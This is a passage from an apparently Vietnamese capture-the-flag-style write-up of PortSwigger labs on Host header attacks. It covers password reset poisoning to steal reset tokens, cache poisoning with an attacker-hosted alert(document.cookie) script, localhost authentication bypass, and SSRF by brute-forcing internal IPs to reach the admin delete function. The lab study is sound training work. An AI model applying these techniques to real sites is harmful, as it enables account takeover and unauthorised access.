mật khẩu bao gồm tham số `temp-forgot-password-token` đặc biệt để xác nhận ai là người đổi mật khẩu - Xem kĩ hơn về cách tạo ra link để đổi mật khẩu trong Request quên mật khẩu (Hình 1.5) ![image](https://hackmd.io/_uploads/SkayFbCH0.png) Hình 1.5. Request khi bấm submit sau khi nhập email vào phần quên mật khẩu để đặt lại **2. Đặt giả thuyết** - Khi gửi Request quên mật khẩu thì ứng dụng có gửi kèm theo trường host để ở link trong email kèm đúng trang web chứa form quên mật khẩu - Vậy nếu chúng ta đổi header `Host` trong mục Request của việc quên mật khẩu thì có phải khi gửi tới email người dùng sẽ là đường link chứa domain mà chúng ta thao túng nhưng lại kèm token đổi mật khẩu một lần không ? **3. Chứng minh giả thuyết** - Tạo một server có domain do chúng ta thao túng - Thay thế giá trị trong Header `Host` mặc định thành domain do chúng ta thao túng và email ở tài khoản mà chúng ta muốn đổi mật khẩu ![image](https://hackmd.io/_uploads/H1KeRbCBR.png) Hình 3.1. Thay đổi giá trị header Host và email - Bám send và đợi nhân click sau đo svaof log để xem mã token riêng của nạn nhân để đổi mật khẩu (Hình 3.1) ![image](https://hackmd.io/_uploads/rkTJyfCHC.png) Hình 3.1. Mã token đổi mật khẩu của nạn nhân trong log - Thay thế token kia vào trong link đổi mật khẩu gốc sau đó đổi mật khẩu rồi login lại vào tài khaorn carlos với mật khẩu mình vừa đổi và bài lab được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/HkOLeG0B0.png) Hình 3.2. Solve bài lab --- Lab: Password reset poisoning via middleware --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là lừa người dùng reset mật khẩu để có thể đặt lại được mật khẩu của carlos và đăng nhập vào tài khoản đó (Hình 1.1) ![image](https://hackmd.io/_uploads/SyuieGRB0.png) Hình 1.1. Yêu cầu của bài lab - Trang web có tính năng quên mật khẩu (Hình 1.2) ![image](https://hackmd.io/_uploads/HJStX-0BR.png) Hình 1.2. Chức năng quên mật khẩu - Dùng email của bài lab cung cấp đó là `wiener@exploit-0aaf003304ad476c802516c8011500a5.exploit-server.net` thử nhập vào ô điền email trong phần quên mật khẩu - Sau khi submit thì có một liên kết đổi mật khẩu được gửi tới email ![image](https://hackmd.io/_uploads/r1QWIb0HA.png) Hình 1.3. Liên kết dẫn tới trang đổi mật khẩu được gửi trong email - Khi bấm vào liên kết sẽ được dẫn tới trang đổi mật khẩu mới ![image](https://hackmd.io/_uploads/SyAE8ZArC.png) Hình 1.4. Trang nhập mật khẩu mới - Có thể thấy link đổi mật khẩu bao gồm tham số `temp-forgot-password-token` đặc biệt để xác nhận ai là người đổi mật khẩu - Xem kĩ hơn về cách tạo ra link để đổi mật khẩu trong Request quên mật khẩu (Hình 1.5) ![image](https://hackmd.io/_uploads/SkayFbCH0.png) Hình 1.5. Request khi bấm submit sau khi nhập email vào phần quên mật khẩu để đặt lại - Tuy nhiên lần này thử đổi Header `Host` lại không được và trang web trả về thông báo lỗi ![image](https://hackmd.io/_uploads/HkFm7f0rC.png) Hình 1.6. Request đổi Host Header khi reset mật khẩu đã không thành công **2. Đặt giả thuyết** - Việc đổi Header Host đã không còn thành công tuy nhiên có một header nữa có thể thao túng điều này đó là `X-Forwarded-Host` - Nếu chúng ta thêm Header này vào và gán cho giá trị là domain của server mà chúng ta thao túng thì liệu chúng ta có thể đọc trộm được mã token đổi mật khẩu khi người dung truy cập không ? **3. Chứng minh giả thuyết** - Tạo một server có domain do chúng ta thao túng - Thêm giá trị trong Header `X-Forwarded-Host` mặc định thành domain do chúng ta thao túng và email ở tài khoản mà chúng ta muốn đổi mật khẩu ![image](https://hackmd.io/_uploads/Bk44rMRSR.png) Hình 3.1. Thay đổi giá trị header Host và email - Bám send và đợi nhân click sau đó đợi log để xem mã token riêng của nạn nhân để đổi mật khẩu (Hình 3.1) ![image](https://hackmd.io/_uploads/SJsdrzCHA.png) Hình 3.1. Mã token đổi mật khẩu của nạn nhân trong log - Thay thế token kia vào trong link đổi mật khẩu gốc sau đó đổi mật khẩu rồi login lại vào tài khoản carlos với mật khẩu mình vừa đổi và bài lab được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/By8THz0S0.png) Hình 3.2. Solve bài lab --- Lab: Web cache poisoning via ambiguous requests --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng web cache poisoning để thực thi mã JavaScript `alert(document.cookie)` trên trình duyệt của người dùng không ngờ đến khi truy cập vào trang chủ của một trang web (Hình 1.1) ![image](https://hackmd.io/_uploads/ry595zRr0.png) Hình 1.1. Yêu cầu của bài lab - Khi truy cập trang web ở thư mục gốc `/` trong Response xuất hiện header là `X-cache` với nhiệm vụ có vẻ là xem trang web đã được lưu ở bộ nhớ đệm máy chủ chưa (Hình 1.2 và Hình 1.3) ![image](https://hackmd.io/_uploads/Byc6xXAr0.png) Hình 1.2. Lần đầu truy cập trang web giá trị của `X-Cache` là miss ![image](https://hackmd.io/_uploads/SkJG-mABC.png) Hình 1.3. Lần thứ 2 truy cập trang web giá trị của `X-Cache` là hit - Ở hình 1.2 hai phần được đánh dấu khác có vẻ như trang web nhận giá trị trong hearder Host để làm điểm truy xuất các thư mục bên trong lấy giá trị javascript - Tuy nhiên khi thay đổi header Host để thao túng tệp javascript thì lại không được ![image](https://hackmd.io/_uploads/SyND7Q0HR.png) Hình 1.4. Thay đổi host header nhưng khôgn được - Thay vì thay đổi header host hiện tại mình thêm 1 trường header Host nữa thì thành công với Response trả về `200 OK` ![image](https://hackmd.io/_uploads/Hy_mNmArR.png) Hình 1.5. Resquest khi bổ sung thêm một header Host và thao túng nó - Có thể thấy ở hình trên chúng ta đã thành công đổi cả domain của src trong file javascript theo domain mà chúng ta chỉnh **2. Đặt giả thuyết** - Liệu chúng ta tạo ra một thư mục javascript y hệt thư mục trong mã ở hình 1.5 có phải khi trang web gọi tới mã javascript sẽ gọi tới thư mục của chúng ta ? **3. Chứng minh giả thuyết** - Tạo đường dẫn javascript trong domain của server chúng ta là: `/exploit-0a7c009f046810c682fd29f201b600d7.exploit-server.net/resources/js/tracking.js` với nội dung là `alert(document.cookie)` (Hình 3.1) ![image](https://hackmd.io/_uploads/H1Xq8QCrA.png) Hình 3.1. Tạo file js có đường dẫn giống với đường dẫn mình đã thao túng ở mã javascript - Gửi liên tục lại Request ở thư mục gốc với việc thêm header host mà mình đã thao túng để ứng dụng lưu nó vào cache sau đó mã javascript sẽ được thao túng và bài lab sẽ được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/HkiiumRHA.png) Hình 3.2. Solve bài lab --- Lab: Host header authentication bypass --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác host header để vào được trang admin xóa người dùng carlos (Hình 1.1) ![image](https://hackmd.io/_uploads/S1v-5mAS0.png) Hình 1.1. Yêu cầu của bài lab - Sau khio recon phát hiện ra rằng có tệp robots.txt trên máy chủ web (Hình 1.2) ![image](https://hackmd.io/_uploads/Sy3jiXCS0.png) Hình 1.2. Nội dung tệp robots.txt - Tuy nhiên khi truy cập vào thì trang web lại chặn và thông báo rằng chỉ có thể truy cập từ local ![image](https://hackmd.io/_uploads/B1skh7ArC.png) Hình 1.3. Thông báo khi truy cập trang admin **2. Đặt giả thuyết** - Trang chỉ cho phép truy cập từ local vậy nếu chúng ta đổi giá trị trogn header Host thành localhost có phải máy chủ sẽ bị hiểu nhầm chúng ta truy cập từ localhost và truy cập được trang web thành công không ? **3. Chứng minh giả thuyết** - Đổi giá trị trong Header Host thành localhost và đã truy cập được trang admin thành công (Hình 3.1) ![image](https://hackmd.io/_uploads/S1e9n70rA.png) Hình 3.1. Truy cập trang admin thành công với việc đổi giá trị header Host thành localhost - Thấy rằng có link xóa người dùng carlos là `/admin/delete?username=carlos` nên đã thêm vào URL trong hình 3.1 để xóa người dùng này(Hình 3.2) ![image](https://hackmd.io/_uploads/r1JVaX0rA.png) Hình 3.2. Request xóa người dùng carlos - Thành công hoàn thành bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/SkSGTm0r0.png) Hình 3.3. Solve bài lab --- Lab: Routing-based SSRF --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác host header để vào được trang admin nằm trong ip nội bộ và xóa người dùng carlos (Hình 1.1) ![image](https://hackmd.io/_uploads/Hk8KpmABA.png) Hình 1.1. Yêu cầu của bài lab **2. Đặt giả thuyết** - Với việc cần truy cập vào mạng nội bộ chúng ta cần thay đổi giá trị header Host thành IP nội bộ bởi vì nếu các thành phần trung gian này được cấu hình không an toàn và chuyển tiếp yêu cầu dựa trên header Host không được kiểm tra, kẻ tấn công có thể lợi dụng điều này để chuyển hướng các yêu cầu tới một hệ thống tùy ý. **3. Chứng minh giả thuyết** - Thay giá trị header Host bằng domain trong Collaborator để xem rằng có thể gửi yêu cầu tới máy chủ tùy ý - Sau khi thay giá trị trogn header Host thì Response đã trả về 200 OK (Hình 3.1) ![image](https://hackmd.io/_uploads/B1gtE2Cr0.png) Hình 3.1. Gửi thành công request với việc thay đổi header Host bằng domain của Collaborator **4. Khai thác ứng dụng** - Đổi giá trị trong Header Host thành IP nội bộ `192.168.0.0/24` (Dải địa chỉ này bao gồm tất cả các địa chỉ IP từ 192.168.0.0 đến 192.168.0.255), tuy nhiên chưa biết chính xác IP nội bộ là gì nên cần bruteforce octet cuối bằng Burp Intruder - Sau khi bruteforce thì có một request trả về mã 302 redirect sang trang `/admin` (Hình 3.1) ![image](https://hackmd.io/_uploads/B1OcphRHA.png) Hình 3.1. requets với giá trị header Host là `192.168.0.142` đã redirect sang trang `/admin` - Vậy là chúng ta đã có thể truy cập vào trang admin với IP nội bộ là `192.168.0.142` đưa Request này sang Repeater để chỉnh sửa và dùng cách chức năng có trong trang admin - Sau khi dùng trang admin để xóa một người chúng ta có requets sau ![image](https://hackmd.io/_uploads/BJOtChRS0.png) - Tuy nhiên request này dùng trên trình duyệt nên chưa chỉnh Header host nên trả về lỗi đưa vào Reqeater và chỉnh về IP nội bộ và xóa người dùng carlos này - Thành công hoàn thành bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/ByYekaASA.png) Hình 3.3. Solve bài lab --- Lab: SSRF via flawed request parsing --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác host header để vào được trang admin xóa người dùng carlos (Hình 1.1) ![image](https://hackmd.io/_uploads/SkmR67RSR.png) Hình 1.1. Yêu cầu của bài lab - Bài này khai thác tương tự bài trước tuy nhiên lần này phải truy cập bằng URL tuyệt đối **2. Khai thác ứng dụng** - Đổi giá trị trong Header Host thành IP nội bộ `192.168.0.0/24` (Dải địa chỉ này bao gồm tất cả các địa chỉ IP từ 192.168.0.0 đến 192.168.0.255), tuy nhiên chưa biết chính xác IP nội bộ là gì nên cần bruteforce octet cuối bằng Burp Intruder - Sau khi bruteforce thì có một request trả về mã 302 redirect sang trang `/admin` (Hình 3.1) ![image](https://hackmd.io/_uploads/r1fjBTCSR.png) Hình 3.1. Requets với giá trị header Host là `192.168.0.227` đã redirect sang trang `/admin` - Vậy là chúng ta đã có thể truy cập vào trang admin với IP nội bộ là `192.168.0.227` đưa Request này sang Repeater để chỉnh sửa và dùng cách chức năng có trong trang admin ![image](https://hackmd.io/_uploads/BkkTL60H0.png) Hình 2.2. Truy cập được vào trang admin - Sau khi dùng trang admin để xóa một người chúng ta có requets sau ![image](https://hackmd.io/_uploads/Hyapw6AB0.png) - Tuy nhiên request này dùng trên trình duyệt nên chưa chỉnh Header host nên trả về lỗi đưa vào Reqeater và chỉnh về IP nội bộ và xóa người dùng carlos này - Thành công hoàn thành bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/SyDmKTCBR.png) Hình 3.3. Solve bài lab --- Lab: Host validation bypass via connection state attack --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác host header để vào được trang admin xóa người dùng carlos (Hình 1.1) ![image](https://hackmd.io/_uploads/Hyq1CmRSR.png) Hình 1.1. Yêu cầu của bài lab - Khi thác tương tự các bài trên để truy cập được vào IP nội bộ thoogn header Host tuy nhiên khi đổi giá trị này thành IP `192.168.0.1` thì Response redirect về trang chủ (Hình 1.3) ![image](https://hackmd.io/_uploads/HJqWy00rA.png) Hình 1.3. Thông báo khi truy cập trang admin **2. Đặt giả thuyết** - Vì đã bị chặn khi thực hiện nên em tìm và thấy cách tạo ra 2 tab với tab 1 là header Host giữ nguyên còn tab 2 thì đổi giá trị này - Tab 1: Dùng để gửi yêu cầu ban đầu đến URL gốc để thiết lập kết nối và giữ trạng thái phiên. - Tab 2: Dùng để gửi yêu cầu thay đổi Host header và thực hiện khai thác SSRF. - Việc tạo ra 2 tab và phải duy trì nó bằng `connection: keep-alive` bởi vì khi lần đầu gói tin được gửi tới với host header đúng thì máy chủ đã tin tưởng mà connection là `keep-alive` nên phiên vẫn được giữ lại và trong 1 lần thì máy chủ không check lại nữa dẫn đến việc đổi `host header` mà không bị chặn nữa và có thể truy cập tài nguyên nội bộ **3. Chứng minh giả thuyết** - Tab 1 giữ nguyên các giá trị chỉ đổi mỗi Connection thành `keep-alive` để duy trì trạng thái phiên (Hình 3.1) ![image](https://hackmd.io/_uploads/BJZdlC0BC.png) Hình 3.1. Tab đầu tiên trong group - Tab 2 đổi giá trị Host header thành điạ chỉ IP nội bộ `192.168.0.1` để truy cập được trang admin (Hình 3.2) ![image](https://hackmd.io/_uploads/HJaRl0Ar0.png) Hình 3.2. Tab thứ 2 trogn group - Nhóm 2 tab này lại và gửi gói tin theo dạng `Send group (single connection)` thì thấy rằng lần này ở gói tin thứ 2 đã trả về 200 OK (Hình 3.3) ![image](https://hackmd.io/_uploads/rk7Cl0CSA.png) Hình 3.3. Kết quả sau khi nhóm 2 tab trên lại và gửi bấm gửi ở tab thứ nhất - Sau khi xem trang `response` của trang admin thì thấy rằng có chức xóa người dùng nên em đã xóa người dùng để lấy được gói tin `POST` xoá người dùng (Hình 3.4) ![image](https://hackmd.io/_uploads/Skk4b0RB0.png) Hình 3.4. Request xóa người dùng carlos sau khi truy cập được trang admin - Lặp lại các bước trên và thêm gói tin xóa người dùng này vào `group` để thực hiện xóa người dùng `carlos` (Hình 3.5) ![image](https://hackmd.io/_uploads/HkktWCCHA.png) Hình 3.5. Adđ thêm gói tin thứ 3 để xóa người dùng thafh công - Rồi bấm `Send group` lại và thực hiện thành công xóa người dùng `carlos` (Hình 3.6) ![image](https://hackmd.io/_uploads/HkXiZ00SR.png) Hình 3.6. Xóa người dùng thành công nên redirect về trang chủ - Thành công hoàn thành bài lab (Hình 3.7) ![image](https://hackmd.io/_uploads/HyAz06CSR.png) Hình 3.7. Solve bài lab ---